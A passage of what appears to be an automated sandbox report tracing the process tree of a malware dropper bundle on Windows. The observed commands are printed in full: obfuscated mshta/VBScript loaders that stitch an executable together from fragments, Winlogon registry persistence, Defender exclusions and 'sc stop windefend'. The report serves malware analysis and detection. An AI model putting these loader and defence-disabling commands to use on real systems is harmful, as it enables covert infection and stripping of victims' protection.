        "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
        11⤵
        
        PID:5816
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
        12⤵
        
        PID:2900
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        13⤵
        
        PID:7420
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
        13⤵
        
        PID:7592
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\WfNRfms4.K
        13⤵
        
        PID:5980
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        14⤵
        
        PID:1120
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        15⤵
        
        PID:4012
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
        16⤵
        
        PID:2100
        
        C:\Users\Admin\AppData\Roaming\3074598.exe
        
        "C:\Users\Admin\AppData\Roaming\3074598.exe"
        7⤵
        
        PID:7028
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        8⤵
        
        PID:5516
        
        C:\Users\Admin\AppData\Roaming\5055111.exe
        
        "C:\Users\Admin\AppData\Roaming\5055111.exe"
        7⤵
        
        PID:5664
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri0431de7a47.exe
        5⤵
        
        PID:1260
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri0480a54c0d2a7.exe
        5⤵
        
        PID:4004
      - C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0480a54c0d2a7.exe
        
        Fri0480a54c0d2a7.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2824
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2552 -s 656
        5⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:2848
- C:\Windows\SysWOW64\cmstp.exe
  "C:\Windows\SysWOW64\cmstp.exe"
  2⤵
  PID:7012
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\Pictures\Adobe Films\9Pwru6h1QFUn2bnBU2yteVil.exe"
    3⤵
    PID:4716
- C:\Windows\SysWOW64\WWAHost.exe
  "C:\Windows\SysWOW64\WWAHost.exe"
  2⤵
  PID:6016
- C:\Windows\SysWOW64\cscript.exe
  "C:\Windows\SysWOW64\cscript.exe"
  2⤵
  PID:2280
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\SysWOW64\netsh.exe"
  2⤵
  PID:1016
- C:\Users\Admin\AppData\Local\Temp\9EC1.exe
  C:\Users\Admin\AppData\Local\Temp\9EC1.exe
  2⤵
  PID:7172
- - C:\Users\Admin\AppData\Local\Temp\9EC1.exe
    C:\Users\Admin\AppData\Local\Temp\9EC1.exe
    3⤵
    PID:5464
- C:\Users\Admin\AppData\Local\Temp\E503.exe
  C:\Users\Admin\AppData\Local\Temp\E503.exe
  2⤵
  PID:5996
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5996 -s 280
    3⤵
    - Program crash
    PID:5452
- C:\Users\Admin\AppData\Local\Temp\1F0F.exe
  C:\Users\Admin\AppData\Local\Temp\1F0F.exe
  2⤵
  PID:6476
- C:\Users\Admin\AppData\Local\Temp\44C8.exe
  C:\Users\Admin\AppData\Local\Temp\44C8.exe
  2⤵
  PID:1956
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1956 -s 228
    3⤵
    - Program crash
    PID:8080
- C:\Users\Admin\AppData\Local\Temp\8608.exe
  C:\Users\Admin\AppData\Local\Temp\8608.exe
  2⤵
  PID:5728
- - C:\Users\Admin\AppData\Local\Temp\8608.exe
    C:\Users\Admin\AppData\Local\Temp\8608.exe
    3⤵
    PID:2536
- C:\Users\Admin\AppData\Local\Temp\B3A1.exe
  C:\Users\Admin\AppData\Local\Temp\B3A1.exe
  2⤵
  PID:4600
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4600 -s 276
    3⤵
    - Program crash
    PID:7284
- C:\Users\Admin\AppData\Local\Temp\C333.exe
  C:\Users\Admin\AppData\Local\Temp\C333.exe
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:6000
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6000 -s 288
    3⤵
    - Program crash
    PID:1916
- C:\Users\Admin\AppData\Local\Temp\E717.exe
  C:\Users\Admin\AppData\Local\Temp\E717.exe
  2⤵
  PID:1316
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 272
    3⤵
    - Program crash
    PID:3272
- C:\Users\Admin\AppData\Local\Temp\82D.exe
  C:\Users\Admin\AppData\Local\Temp\82D.exe
  2⤵
  PID:2292
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
    3⤵
    PID:3768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
    3⤵
    PID:8624
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
    3⤵
    PID:3412
- C:\Users\Admin\AppData\Local\Temp\3895.exe
  C:\Users\Admin\AppData\Local\Temp\3895.exe
  2⤵
  PID:1796
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
    3⤵
    PID:4028
  - - C:\Windows\SysWOW64\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /release
      4⤵
      Gathers network information
      PID:3192
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    PID:3864
  - - C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\system32\PING.EXE" twitter.com
      4⤵
      Runs ping.exe
      PID:8200
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    PID:6640
  - - C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\system32\PING.EXE" twitter.com
      4⤵
      Runs ping.exe
      PID:2180
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    PID:8400
  - - C:\Windows\SysWOW64\PING.EXE
      "C:\Windows\system32\PING.EXE" twitter.com
      4⤵
      Runs ping.exe
      PID:7768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
    3⤵
    PID:8652
- C:\Users\Admin\AppData\Local\Temp\5361.exe
  C:\Users\Admin\AppData\Local\Temp\5361.exe
  2⤵
  PID:7924
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
    3⤵
    PID:5256
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
      4⤵
      PID:6288
- - C:\Users\Admin\AppData\Local\chromedrlver.exe
    "C:\Users\Admin\AppData\Local\chromedrlver.exe"
    3⤵
    PID:8772
  - - C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
      "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
      4⤵
      PID:2928
- C:\Users\Admin\AppData\Local\Temp\76E8.exe
  C:\Users\Admin\AppData\Local\Temp\76E8.exe
  2⤵
  PID:3764
- - C:\Users\Admin\AppData\Local\Temp\24223e60-6cc9-43d9-bcaf-5afffd808ea4\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\24223e60-6cc9-43d9-bcaf-5afffd808ea4\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\24223e60-6cc9-43d9-bcaf-5afffd808ea4\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:3860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\24223e60-6cc9-43d9-bcaf-5afffd808ea4\test.bat"
      4⤵
      Loads dropped DLL
      PID:5864
- - C:\Users\Admin\AppData\Local\Temp\79c2f07d-112a-4049-bb87-85694cd3596d\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\79c2f07d-112a-4049-bb87-85694cd3596d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\79c2f07d-112a-4049-bb87-85694cd3596d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    PID:6992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\79c2f07d-112a-4049-bb87-85694cd3596d\test.bat"
      4⤵
      PID:7892
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\76E8.exe" -Force
    3⤵
    PID:1756
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\76E8.exe" -Force
    3⤵
    PID:2768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\76E8.exe" -Force
    3⤵
    PID:4552
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
    3⤵
    PID:4528
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
    3⤵
    PID:7928
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\76E8.exe" -Force
    3⤵
    PID:1028
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
    3⤵
    PID:8312
  - - C:\Users\Admin\AppData\Local\Temp\3b8d6fcc-c7f9-40a0-9c97-0a60c4efe3fa\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\3b8d6fcc-c7f9-40a0-9c97-0a60c4efe3fa\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\3b8d6fcc-c7f9-40a0-9c97-0a60c4efe3fa\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:5784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3b8d6fcc-c7f9-40a0-9c97-0a60c4efe3fa\test.bat"
        5⤵
        
        PID:8804
      - C:\Windows\system32\sc.exe
        
        sc stop windefend
        6⤵
        
        PID:8220
  - - C:\Users\Admin\AppData\Local\Temp\2b2fd1d0-9202-4ed8-898f-d993697f2e04\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\2b2fd1d0-9202-4ed8-898f-d993697f2e04\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\2b2fd1d0-9202-4ed8-898f-d993697f2e04\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:6744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2b2fd1d0-9202-4ed8-898f-d993697f2e04\test.bat"
        5⤵
        
        PID:7472
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
      4⤵
      PID:8788
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8788 -s 2228
        5⤵
        Program crash
        
        PID:6592
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
      4⤵
      PID:2956
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2956 -s 1888
        5⤵
        Program crash
        
        PID:5948
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
      4⤵
      PID:5940
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 2252
        5⤵
        Program crash
        
        PID:1320
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
      4⤵
      PID:7072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
      4⤵
      PID:7540
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
      4⤵
      PID:5304
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      4⤵
      PID:3568
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
      4⤵
      PID:680
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe"
      4⤵
      PID:6548
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
      4⤵
      PID:8132
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
    3⤵
    PID:8644
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\76E8.exe" -Force
    3⤵
    PID:8960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
    3⤵
    PID:9076
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:8444
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:1560
- C:\Users\Admin\AppData\Local\Temp\F512.exe
  C:\Users\Admin\AppData\Local\Temp\F512.exe
  2⤵
  PID:4956
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4956 -s 464
    3⤵
    - Program crash
    PID:7728
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4956 -s 484
    3⤵
    - Program crash
    PID:8624
- C:\Users\Admin\AppData\Local\Temp\1B38.exe
  C:\Users\Admin\AppData\Local\Temp\1B38.exe
  2⤵
  PID:6180
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 280
    3⤵
    - Program crash
    PID:1444
- C:\Users\Admin\AppData\Local\Temp\5506.exe
  C:\Users\Admin\AppData\Local\Temp\5506.exe
  2⤵
  PID:8480
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8480 -s 276
    3⤵
    - Program crash
    PID:7860
- C:\Users\Admin\AppData\Local\Temp\1809.exe
  C:\Users\Admin\AppData\Local\Temp\1809.exe
  2⤵
  PID:7252
- - C:\Users\Admin\AppData\Local\Temp\clean.exe
    "C:\Users\Admin\AppData\Local\Temp\clean.exe"
    3⤵
    PID:6584
- - C:\Users\Admin\AppData\Local\Temp\b1.exe
    "C:\Users\Admin\AppData\Local\Temp\b1.exe"
    3⤵
    PID:5088
  - - C:\Windows\system32\cmd.exe
      cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:6180
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp
        5⤵
        
        PID:6756
  - - C:\Windows\system32\cmd.exe
      cmd /Q /C move /Y C:\Users\Admin\AppData\Local\Temp\b1.exe C:\Users\Admin\AppData\Roaming\Microsoft\AppServices.exe
      4⤵
      PID:4448
  - - C:\Windows\system32\cmd.exe
      cmd /Q /C reg add "HKCU\Software\Microsoft Partners" /f
      4⤵
      PID:4492
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft Partners" /f
        5⤵
        
        PID:1568
  - - C:\Windows\system32\cmd.exe
      cmd /C "attrib +S +H C:\Users\Admin\AppData\Roaming\Microsoft\AppServices.exe"
      4⤵
      PID:7104
    - - C:\Windows\system32\attrib.exe
        
        attrib +S +H C:\Users\Admin\AppData\Roaming\Microsoft\AppServices.exe
        5⤵
        Views/modifies file attributes
        
        PID:6892
  - - C:\Windows\system32\cmd.exe
      cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\Microsoft"
      4⤵
      PID:6816
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\Microsoft
        5⤵
        
        PID:2436
- - C:\Users\Admin\AppData\Local\Temp\st1.exe
    "C:\Users\Admin\AppData\Local\Temp\st1.exe"
    3⤵
    PID:7300
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7300 -s 468
      4⤵
      Program crash
      PID:1444
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7300 -s 484
      4⤵
      Program crash
      PID:5708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2552 -ip 2552
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4800

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCrIPT:cLOsE(CREatEObjecT( "wscript.shell" ). ruN ("cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri043b65bf09aa6129a.exe"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If """" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri043b65bf09aa6129a.exe"" ) do taskkill /F /iM ""%~nXm"" " , 0, tRUE ) )
1⤵
PID:804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri043b65bf09aa6129a.exe" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""== "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri043b65bf09aa6129a.exe") do taskkill /F /iM "%~nXm"
  2⤵
  PID:2540
- - C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE
    ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6
    3⤵
    - Executes dropped EXE
    PID:5624
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VbsCrIPT:cLOsE(CREatEObjecT( "wscript.shell" ). ruN ("cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""-POMRtdzPDR3vhvdcwHXlRw6vXu6 "" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ) do taskkill /F /iM ""%~nXm"" " , 0, tRUE ) )
      4⤵
      PID:5804
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If "-POMRtdzPDR3vhvdcwHXlRw6vXu6 "== "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE") do taskkill /F /iM "%~nXm"
        5⤵
        
        PID:5308
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbsCRipt: CLOSE ( CreateobjeCT( "WScRipT.shELL" ). RUn ( "cmd /r EcHO | set /P = ""MZ"" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO +mNJeI.lLp + GL6hqC.zFb ..\JPBHeH05.Q & StART msiexec -y ..\JPBHeH05.Q & DeL /q * " , 0, TRue ))
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      PID:6612
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r EcHO | set /P = "MZ" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO+mNJeI.lLp +GL6hqC.zFb ..\JPBHeH05.Q &StART msiexec -y ..\JPBHeH05.Q& DeL /q *
        5⤵
        
        PID:5360
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        6⤵
        
        PID:6624
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>LBBCBWE.COE"
        6⤵
        
        PID:7164
      - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -y ..\JPBHeH05.Q
        6⤵
        
        PID:6192
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /iM "Fri043b65bf09aa6129a.exe"
    3⤵
    - Kills process with taskkill
    PID:5776

C:\Users\Admin\AppData\Local\Temp\7zS0E7EC7D3\Fri0470d89df3bb718.exe
Fri0470d89df3bb718.exe
1⤵
PID:1996
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:5556
- - C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
    "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5052
  - - C:\Users\Admin\AppData\Roaming\2291823.exe
      "C:\Users\Admin\AppData\Roaming\2291823.exe"
      4⤵
      PID:1576
  - - C:\Users\Admin\AppData\Roaming\3440460.exe
      "C:\Users\Admin\AppData\Roaming\3440460.exe"
      4⤵
      PID:5112
  - - C:\Users\Admin\AppData\Roaming\3137071.exe
      "C:\Users\Admin\AppData\Roaming\3137071.exe"
      4⤵
      PID:7152
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\3137071.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\3137071.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        5⤵
        
        PID:4068
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\3137071.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\3137071.exe" ) do taskkill -f -Im "%~NXZ"
        6⤵
        
        PID:3824
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "3137071.exe"
        7⤵
        Kills process with taskkill
        
        PID:7672
  - - C:\Users\Admin\AppData\Roaming\3108090.exe
      "C:\Users\Admin\AppData\Roaming\3108090.exe"
      4⤵
      PID:2644
  - - C:\Users\Admin\AppData\Roaming\480350.exe
      "C:\Users\Admin\AppData\Roaming\480350.exe"
      4⤵
      PID:6432
- - C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe
    "C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"
    3⤵
    - Executes dropped EXE
    PID:2640
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2640 -s 240
      4⤵
      Program crash
      PID:6196
- - C:\Users\Admin\AppData\Local\Temp\inst1.exe
    "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
    3⤵
    - Executes dropped EXE
    PID:1364
- - C:\Users\Admin\AppData\Local\Temp\4.exe
    "C:\Users\Admin\AppData\Local\Temp\4.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2116
- - C:\Users\Admin\AppData\Local\Temp\5.exe
    "C:\Users\Admin\AppData\Local\Temp\5.exe"
    3⤵
    PID:7000
- - C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
